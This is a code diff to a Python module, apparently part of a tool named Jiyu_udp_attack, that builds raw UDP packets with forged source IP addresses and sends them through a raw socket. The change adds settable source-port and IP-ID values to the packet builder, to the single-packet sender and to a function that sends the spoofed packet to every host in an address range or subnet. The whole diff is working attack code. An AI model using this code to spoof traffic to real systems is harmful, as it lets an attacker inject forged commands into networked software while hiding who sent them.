55import struct
66import random
77import socket
8+ from typing import Optional
89
910try :
1011 from Jiyu_udp_attack .ip_analyze import ip_analyze
@@ -33,8 +34,15 @@ def calculate_checksum(data: bytes) -> int:
3334 return ~ total & 0xFFFF
3435
3536
36- # pylint: disable=too-many-locals
37- def create_raw_udp_packet (src_ip : str , dst_ip : str , dst_port : int , payload : bytes ) -> bytes :
37+ def create_raw_udp_packet (
38+ src_ip : str ,
39+ src_port : Optional [int ],
40+ dst_ip : str ,
41+ dst_port : int ,
42+ payload : bytes ,
43+ * ,
44+ ip_id : Optional [int ] = None ,
45+ ) -> bytes :
3846 """
3947 Creates a raw UDP packet with a spoofed source IP address.
4048
@@ -52,7 +60,7 @@ def create_raw_udp_packet(src_ip: str, dst_ip: str, dst_port: int, payload: byte
5260 ip_ihl = 5 # 5 * 4 = 20 bytes header
5361 ip_tos = 0
5462 ip_total_len = 20 + 8 + len (payload ) # IP header + UDP header + data
55- ip_id = random .randint (0 , 65535 )
63+ ip_id = random .randint (0 , 65535 ) if ip_id is None else ip_id
5664 ip_frag_off = 0
5765 ip_ttl = 64
5866 ip_proto = socket .IPPROTO_UDP
@@ -92,7 +100,8 @@ def create_raw_udp_packet(src_ip: str, dst_ip: str, dst_port: int, payload: byte
92100 )
93101
94102 # 5. Build UDP header (initial checksum is 0)
95- src_port = random .randint (1024 , 65535 ) # Random source port
103+ if src_port is None :
104+ src_port = random .randint (1024 , 65535 ) # Random source port
96105 udp_length = 8 + len (payload )
97106 udp_header = struct .pack ("!HHHH" , src_port , dst_port , udp_length , 0 ) # Initial checksum is 0
98107
@@ -109,14 +118,23 @@ def create_raw_udp_packet(src_ip: str, dst_ip: str, dst_port: int, payload: byte
109118 return ip_header + udp_header + payload
110119
111120
112- def send_packet (src_ip : str , dst_ip : str , dst_port : int , payload : bytes ) -> None :
121+ def send_packet (
122+ src_ip : str ,
123+ src_port : Optional [int ],
124+ dst_ip : str ,
125+ dst_port : int ,
126+ payload : bytes ,
127+ * ,
128+ ip_id : Optional [int ] = None ,
129+ ) -> None :
113130 """
114131 Sends a UDP packet with the specified source IP, destination IP, destination port, and data payload.
115132
116133 Ensure that the source IP address is valid and that you have permission to send packets with spoofed addresses.
117134
118135 Args:
119136 src_ip (str): The source IP address.
137+ src_port (Optional[int]): The source port number. If None, a random port will be used.
120138 dst_ip (str): The destination IP address.
121139 dst_port (int): The destination port number.
122140 payload (bytes): The data payload to include in the packet.
@@ -130,21 +148,30 @@ def send_packet(src_ip: str, dst_ip: str, dst_port: int, payload: bytes) -> None
130148 """
131149 client = socket .socket (socket .AF_INET , socket .SOCK_RAW , socket .IPPROTO_RAW )
132150 client .setsockopt (socket .IPPROTO_IP , socket .IP_HDRINCL , 1 )
133- packet = create_raw_udp_packet (src_ip , dst_ip , dst_port , payload )
151+ packet = create_raw_udp_packet (src_ip , src_port , dst_ip , dst_port , payload , ip_id = ip_id )
134152 client .sendto (packet , (dst_ip , dst_port ))
135153
136154
137- def broadcast_packet (src_ip : str , dst_ip : str , dst_port : int , payload : bytes ) -> None :
155+ def broadcast_packet (
156+ src_ip : str ,
157+ src_port : Optional [int ],
158+ dst_ip : str ,
159+ dst_port : int ,
160+ payload : bytes ,
161+ * ,
162+ ip_id : Optional [int ] = None ,
163+ ) -> None :
138164 """
139165 Sends a broadcast UDP packet to the specified destination IP address or range.
140166
141167 This function analyzes the destination IP address or range and sends the packet to each valid IP address.
142168
143169 Args:
144170 src_ip (str): The source IP address.
171+ src_port (Optional[int]): The source port number. If None, a random port will be used.
145172 dst_ip (str): The broadcast IP address (e.g., "192.168.1.255", "192.168.1.0/24", "192.168.1.10-100").
146173 dst_port (int): The destination port number.
147174 payload (bytes): The data payload to include in the packet.
148175 """
149176 for ip in ip_analyze (dst_ip ):
150- send_packet (src_ip , ip , dst_port , payload )
177+ send_packet (src_ip , src_port , ip , dst_port , payload , ip_id = ip_id )
0 commit comments